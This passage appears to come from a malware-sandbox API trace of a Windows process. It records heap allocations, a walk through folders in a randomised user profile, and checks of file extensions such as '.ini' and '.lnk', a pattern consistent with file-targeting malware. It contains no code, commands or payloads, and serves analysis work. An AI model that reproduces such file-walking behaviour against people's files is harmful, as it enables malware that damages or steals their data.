lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d4e0 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d4e0 | out: hHeap=0x5d0000) returned 1 [0067.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.277] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0067.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0067.277] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31759b8 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175670 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0067.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175670 | out: hHeap=0x5d0000) returned 1 [0067.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0067.277] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31759b8 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175670 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x214) returned 0x329f158 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d4e0 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d2d8 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175c10 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31753a0 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175a30 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d340 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ce60 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175418 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d548 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175580 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175c88 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175b98 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175b20 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d5b0 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30fb448 | out: hHeap=0x5d0000) returned 1 [0067.278] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175670 | out: hHeap=0x5d0000) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0067.278] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0067.278] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.278] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d270 | out: hHeap=0x5d0000) returned 1 [0067.279] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0067.279] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.279] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.279] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.280] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.281] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.282] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.282] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0067.282] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.283] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.283] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.283] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.283] PathFindFileNameW (pszPath="") returned="" [0067.283] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.283] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.283] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.283] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.283] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0067.283] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0067.283] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0067.283] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0067.283] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0067.283] 